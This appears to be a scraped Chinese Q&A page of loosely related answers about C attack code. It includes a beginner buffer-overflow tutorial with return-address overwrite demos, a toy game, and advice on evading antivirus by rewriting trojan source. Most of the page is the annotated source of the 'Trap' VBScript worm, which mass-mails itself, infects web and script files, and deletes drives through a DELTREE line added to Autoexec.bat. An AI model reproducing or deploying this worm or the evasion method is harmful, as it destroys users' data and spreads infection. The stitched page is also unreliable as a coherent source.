c語言攻擊代碼
⑴ 什麼是c語言緩沖區溢出漏洞怎麼利用誰可以提供詳細的資料
緩沖區溢出漏洞入門介紹
文/hokersome
一、引言
不管你是否相信,幾十年來,緩沖區溢出一直引起許多嚴重的安全性問題。甚至毫不誇張的說,當前網路種種安全問題至少有50%源自緩沖區溢出的問題。遠的不說,一個沖擊波病毒已經令人談溢出色變了。而作為一名黑客,了解緩沖區溢出漏洞則是一門必修課。網上關於溢出的漏洞的文章有很多,但是大多太深或者集中在一個主題,不適合初學者做一般性了解。為此,我寫了這篇文章,主要是針對初學者,對緩沖區溢出漏洞進行一般性的介紹。
緩沖區溢出漏洞是之所以這么多,是在於它的產生是如此的簡單。只要C/C++程序員稍微放鬆警惕,他的代碼裡面可能就出現了一個緩沖區溢出漏洞,甚至即使經過仔細檢查的代碼,也會存在緩沖區溢出漏洞。
二、溢出
聽我說了這些廢話,你一定很想知道究竟什麼緩沖區溢出漏洞,溢出究竟是怎麼發生的。好,現在我們來先弄清楚什麼是溢出。以下的我將假設你對C語言編程有一點了解,一點點就夠了,當然,越多越好。
盡管緩沖區溢出也會發生在非C/C++語言上,但考慮到各種語言的運用程度,我們可以在某種程度上說,緩沖區溢出是C/C++的專利。相信我,如果你在一個用VB寫的程序裡面找溢出漏洞,你將會很出名。回到說C/C++,在這兩種使用非常廣泛的語言裡面,並沒有邊界來檢查數組和指針的引用,這樣做的目的是為了提高效率,而不幸的是,這也留下了嚴重的安全問題。先看下面一段簡單的代碼:
#include<stdio.h>
void main()
{
char buf[8];
gets(buf);
}
程序運行的時候,如果你輸入「Hello」,或者「Kitty」,那麼一切正常,但是如果輸入「Today is a good day」,那麼我得通知你,程序發生溢出了。很顯然,buf這個數組只申請到8個位元組的內存空間,而輸入的字元卻超過了這個數目,於是,多餘的字元將會佔領程序中不屬於自己的內存。因為C/C++語言並不檢查邊界,於是,程序將看似正常繼續運行。如果被溢出部分佔領的內存並不重要,或者是一塊沒有使用的內存,那麼,程序將會繼續看似正常的運行到結束。但是,如果溢出部分佔領的正好的是存放了程序重要數據的內存,那麼一切將會不堪設想。
實際上,緩沖區溢出通常有兩種,堆溢出和堆棧溢出。盡管兩者實質都是一樣,但由於利用的方式不同,我將在下面分開介紹。不過在介紹之前,還是來做一些必要的知識預備。
三、知識預備
要理解大多數緩沖區溢出的本質,首先需要理解當程序運行時機器中的內存是如何分配的。在許多系統上,每個進程都有其自己的虛擬地址空間,它們以某種方式映射到實際內存。我們不必關心描述用來將虛擬地址空間映射成基本體系結構的確切機制,而只關心理論上允許定址大塊連續內存的進程。
程序運行時,其內存裡面一般都包含這些部分:1)程序參數和程序環境;2)程序堆棧,它通常在程序執行時增長,一般情況下,它向下朝堆增長。3)堆,它也在程序執行時增長,相反,它向上朝堆棧增長;4)BSS 段,它包含未初始化的全局可用的數據(例如,全局變數); 5)數據段,它包含初始化的全局可用的數據(通常是全局變數);6)文本段,它包含只讀程序代碼。BSS、數據和文本段組成靜態內存:在程序運行之前這些段的大小已經固定。程序運行時雖然可以更改個別變數,但不能將數據分配到這些段中。下面以一個簡單的例子來說明以上的看起來讓人頭暈的東西:
#include<stdio.h>
char buf[3]="abc";
int i;
void main()
{
i=1
return;
}
其中,i屬於BBS段,而buf屬於數據段。兩者都屬於靜態內存,因為他們在程序中雖然可以改變值,但是其分配的內存大小是固定的,如buf的數據大於三個字元,將會覆蓋其他數據。
與靜態內存形成對比,堆和堆棧是動態的,可以在程序運行的時候改變大小。堆的程序員介面因語言而異。在C語言中,堆是經由 malloc() 和其它相關函數來訪問的,而C++中的new運算符則是堆的程序員介面。堆棧則比較特殊,主要是在調用函數時來保存現場,以便函數返回之後能繼續運行。
四、堆溢出
堆溢出的思路很簡單,覆蓋重要的變數以達到自己的目的。而在實際操作的時候,這顯得比較困難,尤其是源代碼不可見的時候。第一,你必須確定哪個變數是重要的變數;第二,你必須找到一個內存地址比目標變數低的溢出點;第三,在特定目的下,你還必須讓在為了覆蓋目標變數而在中途覆蓋了其他變數之後,程序依然能運行下去。下面以一個源代碼看見的程序來舉例演示一次簡單的堆溢出是如何發生的:
#include "malloc.h"
#include "string.h"
#include "stdio.h"
void main()
{
char *large_str = (char *)malloc(sizeof(char)*1024);
char *important = (char *)malloc(sizeof(char)*6);
char *str = (char *)malloc(sizeof(char)*4);
strcpy(important,"abcdef");//給important賦初值
//下面兩行代碼是為了看str和important的地址
printf("%d/n",str);
printf("%d/n",important);
gets(large_str);//輸入一個字元串
strcpy(str, large_str);//代碼本意是將輸入的字元串拷貝到str
printf("%s/n",important);
}
在實際應用中,這樣的代碼當然是不存在的,這只是一個最簡單的實驗程序。現在我們的目標是important這個字元串變成"hacker"。str和important的地址在不同的環境中並不是一定的,我這里是7868032和7868080。很好,important的地址比str大,這就為溢出創造了可能。計算一下可以知道,兩者中間隔了48個位元組,因此在輸入溢出字元串時候,可以先輸入48個任意字元,然後再輸入hakcer回車,哈哈,出來了,important成了"hacker"。
五、堆棧溢出
堆溢出的一個關鍵問題是很難找到所謂的重要變數,而堆棧溢出則不存在這個問題,因為它將覆蓋一個非常重要的東西----函數的返回地址。在進行函數調用的時候,斷點或者說返回地址將保存到堆棧裡面,以便函數結束之後繼續運行。而堆棧溢出的思路就是在函數裡面找到一個溢出點,把堆棧裡面的返回地址覆蓋,替換成一個自己指定的地方,而在那個地方,我們將把一些精心設計了的攻擊代碼。由於攻擊代碼的編寫需要一些匯編知識,這里我將不打算涉及。我們這里的目標是寫出一個通過覆蓋堆棧返回地址而讓程序執行到另一個函數的堆棧溢出演示程序。
因為堆棧是往下增加的,因此,先進入堆棧的地址反而要大,這為在函數中找到溢出點提供了可能。試想,而堆棧是往上增加的,我們將永遠無法在函數裡面找到一個溢出點去覆蓋返回地址。還是先從一個最簡單的例子開始:
void test(int i)
{
char buf[12];
}
void main()
{
test(1);
}
test 函數具有一個局部參數和一個靜態分配的緩沖區。為了查看這兩個變數所在的內存地址(彼此相對的地址),我們將對代碼略作修改:
void test(int i)
{
char buf[12];
printf("&i = %d/n", &i);
printf("&buf[0] = %d/n", buf);
}
void main()
{
test(1);
}
需要說明的是,由於個人習慣的原因,我把地址結果輸出成10進制形式,但願這並不影響文章的敘述。在我這里,產生下列輸出:&i = 6684072 &buf[0] = 6684052。這里我補充一下,當調用一個函數的時候,首先是參數入棧,然後是返回地址。並且,這些數據都是倒著表示的,因為返回地址是4個位元組,所以可以知道,返回地址應該是保存在從6684068到6684071。因為數據是倒著表示的,所以實際上返回地址就是:buf[19]*256*256*256+buf[18]*256*256+buf[17]*256+buf[16]。
我們的目標還沒有達到,下面我們繼續。在上面程序的基礎,修改成:
#include <stdio.h>
void main()
{
void test(int i);
test(1);
}
void test(int i)
{
void come();
char buf[12];//用於發生溢出的數組
int addr[4];
int k=(int)&i-(int)buf;//計算參數到溢出數組之間的距離
int go=(int)&come;
//由於EIP地址是倒著表示的,所以首先把come()函數的地址分離成位元組
addr[0]=(go << 24)>>24;
addr[1]=(go << 16)>>24;
addr[2]=(go << 8)>>24;
addr[3]=go>>24;
//用come()函數的地址覆蓋EIP
for(int j=0;j<4;j++)
{
buf[k-j-1]=addr[3-j];
}
}
void come()
{
printf("Success!");
}
一切搞定!運行之後,"Success!"成功列印出來!不過,由於這個程序破壞了堆棧,所以系統會提示程序遇到問題需要關閉。但這並不要緊,因為至少我們已經邁出了萬里長征的第一步。
⑵ C語言的編程問題,不知道如何編碼,希望寫一遍代碼。謝謝
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
voidmain()
{inthp_a=100,hp_b=100,i=0;
intflag=0;
intattact;
srand((unsigned)time(NULL));
while(hp_a>0&&hp_b>0)
{
i++;
/*printf(" Round:%d ",i);*/
if(flag==0)
{
attact=rand()%(12-8+1)+8;
hp_b-=attact;
printf("AttactA=%d,HP_A=%d,HP_B=%d ",attact,hp_a,hp_b>0?hp_b:0);
flag=1;
}
else
{
attact=rand()%(16-6+1)+6;
hp_a-=attact;
printf("AttactB=%d,HP_A=%d,HP_B=%d ",attact,hp_a>0?hp_a:0,hp_b);
flag=0;
}
}
if(hp_a<=0)printf("****Aisdied**** ");
if(hp_b<=0)printf("****Bisdied**** ");
}
⑶ 本人計算機專業大三學生 想找一個會用C語言跟匯編語言編寫攻擊網站的代碼的人做我老師 有這方面專長的老師
如果你熟悉C的話,就好辦多了,源碼免殺其實就是在源程序編程語言上做修改,具體就是用不同的方法實現相同的功能,這樣就實現躲過殺毒軟體又不損失原有功能。基本就這些了,但是看你免殺的是什麼遠控,用什麼語言寫的,不過C是基礎,如果C好的話,其他的都很好學。
匯編語言大多數都是用在特徵碼免殺和無特徵碼免殺用的。
醍醐灌頂或許不足以形容大師文章的萬一;
⑷ C語言ARP攻擊源代碼
輸入arp-d
⑸ c語言做出的程序都能幹什麼一般黑客編寫的入侵和攻擊程序用的是什麼語言
C語言最大的應用就是寫操作系統和驅動程序還有其他嵌入式系統的程序,學習程序設計選選擇C是很好的,掌握的一定程度再學C++,java等就容易一些.
黑客工具的開發語言很多了,用java好像沒聽說,很多小工具是直接用的匯編,小榕暴強的掃描工具"流光"是C++ Builder開發的,現在很多菜鳥黑客甚至用中文編程語言(易語言)來開發一些工具軟體.
⑹ C語言通過故意製造野指針,數組溢出載入惡意代碼會不會報毒
這是一定的。
刻意製造緩沖區溢出是一種常見的攻擊手段。
另外,在本機由編譯器直接生成的exe文件,即使不存在惡意代碼,也存在被殺毒軟體誤識別為病毒或惡意代碼而執行隔離刪除的可能性。
⑺ 用C語言寫一段程序,模擬函數緩沖區溢出攻擊(buffer overrun)。
這個基本上沒辦法給你寫例子,受編譯環境影響太大。
原理很單純,就是把函數局部變數作為基址可以直接修改函數的返回地址。用匯編很好辦,但C的話很多必要地址只能編譯好了才能知道。
----
VS2008 Debug模式編譯 關閉Incremental Linking
#include <stdio.h>
void foo();
// __stdcall為了foo2在返回的時候清理foo1調用時候的參數,因為是通過返回進入foo2的,所以foo1的返回地址已經出棧,現在棧里還剩下foo1的兩個參數,我們需要第一個參數的位置作為foo2的返回值
// 於是還剩一個參數的位置,foo2也有一個參數,利用__stdcall自己清理參數的特性就可以把剩下的那個參數清理掉。然後我們直接返回到foo1調用後清理參數的代碼之後,避免棧混亂。
void __stdcall foo2(void *mmy)
{
printf("foo2...\n當前返回地址: %.8X,位於: %.8X\n", *(&mmy - 1), &mmy - 1);
*(int *)(&mmy - 1) = (int)foo + 0x3A; // 這里的0x3A只有編譯後看生成的匯編才能得到。
printf("替換返回地址為foo1返回並清理堆棧後...\n當前返回地址: %.8X,位於: %.8X\n", *(&mmy - 1), &mmy - 1);
}
void foo1(int in_offset, int in_data)
{
int buf[0x10];
printf("foo1...\n當前返回地址: %.8X,位於: %.8X\n", *((void **)&in_offset - 1), (void **)&in_offset - 1);
buf[in_offset] = in_data; // 這里buf + in_offset指向的是foo1的返回地址,foo1返回的時候會跳轉的foo2的入口
printf("替換...\n當前返回地址: %.8X,位於: %.8X\n", *((void **)&in_offset - 1), (void **)&in_offset - 1);
}
void foo()
{
printf("foo...\n調用foo1, 通過非法索引將foo1返回地址替換為foo2人口...\n");
foo1(18, (int)foo2); // 這里的18是返回地址相對buf的偏移量,只有編譯之後才能獲得。VC環境下Debug模式是16個buf元素+1個保護數據+1個過去的幀指針。
}
void main()
{
foo();
}
⑻ 給個C語言病毒代碼.....要復制的....越長越好
下面就對「陷阱」的發作過程和源代碼作詳細的揭密。
病毒具有自身加密能力(使用 JavaScript 編碼技術),使得普通用戶無法看到病毒原碼,但在被感染 VBS 文件中並沒有加密,於是作為一個入口點,我非常輕松地得到所有源碼。
'@ thank you! make use of other person to get rid of an enemy, trap _2001
'這句話的意思可能是「借刀殺人」,然後是病毒名稱「陷阱」
on error resume next
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE
dim whb(), title(10)
smailc = 4
Redim whb(smailc) 』白宮相關人員郵件名單
whb(0) = "[email protected]"
whb(1) = "[email protected] "
whb(2) = "[email protected]"
whb(3) = "[email protected]"
'發送郵件的主題
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:\Readme.html" ' 病毒文件
MAX_SIZE = 100000 ' 定義傳染文件的最大尺寸
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
main
sub main() '主程序
on error resume next
dim w_s
w_s= WScript.ScriptFullName '得到病毒文件本身的路徑
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject") '創建文件系統對象
if getErr then '辨認病毒狀態
Randomize '初始化隨機種子
ra = int(rnd() * 7) '產生隨機數
doucment.write title(ra) ' 寫隨機內容
ExecuteMail '執行郵件狀態時的程序
else
ExecutePage '執行 WEB 頁狀態時的程序
end if
else
ExecuteVbs '執行 VBS 文件狀態時的程序
end if
end sub
Function getErr() 忽略錯誤
if Err.number<>0 then
getErr=true
Err.Clear
else
getErr=false
end if
end function
sub ExecutePage() 'WEB 頁狀態時的程序
on error resume next
dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf
Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代碼
Js_Str = GetJavaScript() ' 得到 Javascript 代碼
Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密過的腳本代碼
Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代碼
Gf
'定義病毒文件的路徑
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 兩個文件非常迷惑人
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
'創建病毒文件
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf2, 2, true)
vf.Write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdf2, 2, true)
vf.write Html_Str
vf.close
set vf = fso.OpenTextFile (wdf3, 2, true)
vf.write Code_Str
vf.close
修改注冊表,讓病毒文件在每一次計算機啟動自動執行
Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
SendMail ' 執行發送郵件程序
Hackpage ' 執行感染網站程序
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then '遍歷所有本地硬碟和網路共享硬碟
call SearchHTML(x & "\") '執行文件感染程序
end if
next
if TestUser then '檢查用戶
Killhe 執行刪除文件操作
else
if Month(Date) & Day(Date) = "75" then '如系統時間為 7月5日
set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) 』創建系統攻擊文件
vf.write MakeScript ("window.navigate ('c:/con/con');", false)
vf.close
Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" '自動啟動
window.navigate "c:/con/con" '立刻藍屏,利用 Windows BUG,能引起 Win9X 系統100%死機(即無法恢復的藍屏)
else '如不是7.5
if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 刪除75.htm
end if
end if
if fso.FileExists(defpath) then fso.DeleteFile defpath ' 刪除 C:\Readme.html 病毒文件
end sub
sub ExecuteMail() '郵件狀態時執行的程序
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib") '創建 TypeLib對象
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write() '創建 C:\Readme.html 文件
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打開會隱藏的窗口
end sub
sub ExecuteVbs() ' 同理,如病毒文件是 VBS 時所執行的程序
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 & "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
if TestUser then Killhe
end sub
sub Gf() '得到系統路徑
w1=fso.GetSpecialFolder(0) & "\"
w2=fso.GetSpecialFolder(1) & "\"
end sub
function Readreg(key_str) '讀注冊表
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype) '寫注冊表
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing
end function
function MakeHtml(Sbuffer, iHTML) '創建HTML 文件的完整代碼
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _
"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _
"<" & "/BOAD><" & "/HTML>"
end Function
function MakeScript(Codestr, iHTML) '此程序是病毒進行自我加密過程,較為復雜,不再描述
if iHTML then
dim DocuWrite
DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _
"jword" & "+'\n</'" & "+'SCRIPT>');"
DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _
"nword" & "+'\n</'" & "+'SCRIPT>');"
MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"
else
MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"
end if
end function
function GetScriptCode(Languages) ' 得到不同腳本語言的代碼
dim soj
for each soj in document.scripts
if LCase(soj.Language) = Languages then
if Languages = "javascript" then
if len(soj.Text)> 200 then
else
GetScriptCode = soj.Text
exit function
end if
else
GetScriptCode = soj.Text
exit function
end if
end if
next
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser() '檢測用戶過程
on error resume next
dim keys(6), i, tmpStr, Wnet
'特定用戶關鍵詞
keys(0) = "white home"
keys(1) = "central intelligence agency"
keys(2) = "bush"
keys(3) = "american stock exchang"
keys(4) = "chief executive"
keys(5) = "usa"
TestUser = false
Set Wnet = CreateObject("WScript.Network") '創建網路對象
'下面一共3個循環,作用一樣,是檢查用戶的 Domain、用戶名和計算機名是否含有以上的5個關鍵詞語,一旦含有程序將返回」真」的條件,從而對這些用戶的文件進行瘋狂刪除。
tmpStr = LCase(Wnet.UserName) '
for i=0 to 4
if InStr(tmpStr, keys(i)) > 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.ComputerName)
for i=0 to 4
if InStr(tmpStr, keys(i)) > 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.UserDomain)
for i=0 to 4
if InStr(tmpStr, keys(i)) >0 then
TestUser=true
exit function
end if
next
Set Wnet = Nothing
end function
function SendMail() '發送文件過程
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
'首先向 OutLook 地址簿發送帶能直接感染文件的已加密的病毒代碼和HTML 附件
主題是隨機的,此過程與「歡樂時光「類似,所以不再描述
Randomize
at=fso.GetSpecialFolder(1) & "\Readme.html"
set Oa = CreateObject("Outlook.Application")
set wab = Oa.GetNameSpace("MAPI")
for j = 1 to wab.AddressLists.Count
eins = wab.AddressLists(j)
wreg=Readreg (HCUW & eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count
if (Eaec > Int(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW & arrsm)
if (areg = "") then
set fm = wab.CreateItem(0)
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Attachments at
.Send
Writereg HCUW & arrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW & eins, Eaec, ""
next
'下面是對指定的用戶無條件發送大量病毒郵件, 從這一點可看出病毒作者對美國政府的極度不滿。
for j = 1 to smailc
arrsm = whb(j)
set fm = wab.CreateItem(0)
ra = int(rnd() * 7)
with fm
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Send
end with
next
set Oa = Nothing
window.setTimeout "SendMail()", 5000 '每隔 5 秒種重復發送
end function
sub SearchHTML(Path) '搜索可傳染文件的過程
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub
if Path <> "E:\" then exit sub
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '檢查文件的擴展名是否為 htm、html、plg 如是則檢查是否被感染,如未被感染則將已加密的病毒代碼插入文件頭,這樣文件一旦執行也會執行病毒代碼,而且不會影響原文件的正常執行。
if Code_Str<>"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then '如是 vbs 文件,則插入未加密的病毒代碼
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe() '全盤刪除文件過程
on error resume next
dim codeText, ko,adi, kd, kh, ks,kf,kfs
codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_
"DELTREE c:\" '將刪除C盤的命令插入Autoexec.bat 中,下次開機時,刪除整個硬碟,並沒有任何提示
set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)
ko.Write vbcrlf & codeText
ko.Close
'接著立刻刪除其它盤的所有文件
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 then
set kd = fso.GetFolder(x & "\")
set kfs = kd.Files
for each kf in kfs
kf.Delete
next
set ks = kd.SubFolders
for each kh in ks
kh.Delete
next
end if
next
do while 1 '讓系統立刻死機
window.open ""
loop
end sub
sub Hackpage() ' 此過程是直接攻擊 Mircosoft IIS 伺服器主頁過程
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
'判斷是否為網站,如是則將已加密的帶病毒代碼插入文件頭,從而直接傳染瀏覽該網站的用戶
set fi = fso.GetFile(H & "\index.htm")
AddHead H & "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t) '此過程是病毒傳染文件具體過程
on error resume next
dim tso, buffer,sr
if f.size > MAX_SIZE then exit sub '傳染大小小於100K的文件
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str & vbcrlf & buffer '插入到文件頭
tso.close
end if
else
if mid(buffer, 3, 2) <> "'@" then
tso.close
sr=w2 & "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
雖然病毒發作日已過但我們還是要小心提防病毒的變種出現。
⑼ C語言為什麼可以緩沖區溢出攻擊,不同程序的地址不是在各自的虛擬空間嗎
writeConfigParams(buffer); 根據名稱分析這個函數可能是將用戶輸入的配置參數存入buffer緩沖區,如果用戶輸入的字元串長度大於buffer數組的大小512,輸入的數據就會越過數組邊界覆蓋函數棧中的其他數據,我們知道函數的返回地址就在棧中,攻擊者可以精心編寫專門的shellcode,以求用自己希望的一個地址覆蓋函數原本的返回地址,達到控製程序流程的目的。 保護的辦法就是在writeConfigParams中更正所有對buffer緩沖區進行的操作,使用安全字元串操作函數,檢查用戶的輸入,對超長數據進行有效的截斷。
⑽ 有沒有一款游戲是用C語言寫代碼相互攻擊的
沒有 游戲要有界面的 c語言是底層的面向過程的,沒界面和人物怎麼玩